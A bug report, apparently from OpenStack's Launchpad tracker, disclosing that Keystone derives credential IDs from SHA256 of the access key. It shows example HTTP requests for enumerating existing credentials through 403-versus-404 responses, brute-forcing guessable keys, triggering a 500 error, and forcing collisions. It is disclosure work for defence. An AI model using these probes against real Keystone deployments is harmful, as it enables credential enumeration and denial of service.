Comment 0 for bug 1618615

Revision history for this message
Charles Neill (charles-neill) wrote : Potential information disclosure in "credentials", 500 error

When creating a "credential" in Keystone, instead of using uuid.uuid4() like in most places to generate a unique identifier, the id is created from the SHA256 hash value of whatever is passed in as the "access" key in the POST request (Code here: https://github.com/openstack/keystone/blob/master/keystone/credential/controllers.py#L36-L60)

===== EXAMPLE REQUEST =====

    POST /v3/credentials HTTP/1.1
    Host: [ENDPOINT]
    X-Auth-Token: [ADMIN TOKEN]
    Content-Length: 231
    Content-Type: application/json

    {
        "credential": {
            "blob": "{\"access\":\"<script>alert(2)</script>\",\"secret\":\"secretKey\"}",
            "project_id": "12345",
            "type": "ec2",
            "user_id": "12345"
        }
    }

    HTTP/1.1 201 Created
    Date: Tue, 30 Aug 2016 19:14:54 GMT
    Server: Apache/2.4.7 (Ubuntu)
    Vary: X-Auth-Token
    Content-Length: 383
    Content-Type: application/json

    {"credential": {"user_id": "12345", "links": {"self": "[ENDPOINT]/v3/credentials/141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea"}, "blob": "{\"access\":\"<script>alert(2)</script>\",\"secret\":\"secretKey\"}", "project_id": "12345", "type": "ec2", "id": "141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea"}}

===== /EXAMPLE =====

The id from the example above is "141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea", which is the same as the SHA256 value of "<script>alert(2)</script>" (you can test this with `echo -n "<script>alert(2)</script>" | openssl dgst -sha256` on *nix)

The documentation here seems to show MD5s and possibly tenant IDs used as "access" values: http://developer.openstack.org/api-ref/identity/v3/?expanded=assign-role-to-user-on-projects-owned-by-domain-detail,create-policy-detail,show-credential-details-detail,list-credentials-detail,create-credential-detail#list-credentials

Bruteforcing an actual MD5 isn't a huge security risk (i.e. trying to predict all 32 characters from thin air), but if the MD5 is a hash of a known value (i.e. the string "admin"), it would be trivial to test for common values:

    md5(admin) = 21232f297a57a5a743894a0e4a801fc3
    sha256(21232f297a57a5a743894a0e4a801fc3) = 465c194afb65670f38322df087f0a9bb225cc257e43eb4ac5a0c98ef5b3173ac

If tenant IDs are used, this task becomes even easier: just generate SHA256 hashes for 0 - 999999

A non-admin user can determine whether there are credentials using a given access key by attempting to access the resource from its sha256 url identifier:

===== EXAMPLE REQUESTS =====

Existing credential

    GET /v3/credentials/141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea HTTP/1.1
    Host: [ENDPOINT]
    X-Auth-Token: [NON-ADMIN TOKEN]
    Content-Type: application/json
    Connection: close

    HTTP/1.1 403 Forbidden
    Date: Tue, 30 Aug 2016 19:55:24 GMT
    Server: Apache/2.4.7 (Ubuntu)
    Vary: X-Auth-Token
    Content-Length: 140
    Content-Type: application/json

    {"error": {"message": "You are not authorized to perform the requested action: identity:get_credential", "code": 403, "title": "Forbidden"}}

Non-existent credential

    GET /v3/credentials/deadbeef HTTP/1.1
    Host: [ENDPOINT]
    X-Auth-Token: [NON-ADMIN TOKEN]
    Content-Type: application/json

    HTTP/1.1 404 Not Found
    Date: Tue, 30 Aug 2016 20:03:38 GMT
    Server: Apache/2.4.7 (Ubuntu)
    Vary: X-Auth-Token
    Content-Length: 96
    Content-Type: application/json

    {"error": {"message": "Could not find credential: deadbeef", "code": 404, "title": "Not Found"}}

===== /EXAMPLE =====

It is also possible to get a 500 error by creating a credential with an invalid character in the "access" key:

===== EXAMPLE REQUEST =====

    POST /v3/credentials HTTP/1.1
    Host: [ENDPOINT]
    X-Auth-Token: [ADMIN TOKEN]
    Content-Length: 212
    Content-Type: application/json

    {
        "credential": {
            "blob": "{\"access\":\"\uffff\",\"secret\":\"secretKey\"}",
            "project_id": "12345",
            "type": "ec2",
            "user_id": "12345"
        }
    }

    HTTP/1.1 500 Internal Server Error
    Date: Tue, 30 Aug 2016 20:06:16 GMT
    Server: Apache/2.4.7 (Ubuntu)
    Vary: X-Auth-Token
    Content-Length: 143
    Content-Type: application/json

    {"error": {"message": "An unexpected error prevented the server from fulfilling your request.", "code": 500, "title": "Internal Server Error"}}

===== /EXAMPLE =====

I'm unsure what the security impact would be here, mainly because of the ambiguous examples provided in the Keystone API documentation (linked above). If either of the 2 scenarios I outlined is a reasonable use case (i.e. MD5 of a guessable value, or tenant IDs), there may be a risk of information leakage by brute-force. It would also be possible to prevent others from creating credentials with a given access key by simply creating lots of credentials in Keystone with predictable access keys. This would cause a collision whenever attempting to create a credential set with an access key that has already been used.

If, on the other hand, the credentials are always in the format described by AWS here ( link: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSGettingStartedGuide/AWSCredentials.html ), it would require a huge number of requests to bruteforce the access key (though it would not be impossible). However, it would be possible, using the approach described above with a regular user token, to determine whether a known EC2 access key was in place as a credential in a given Keystone database.

I'm unclear on the utility of using SHA256 for the identifier at all here, since random UUIDs would make this potential issue moot.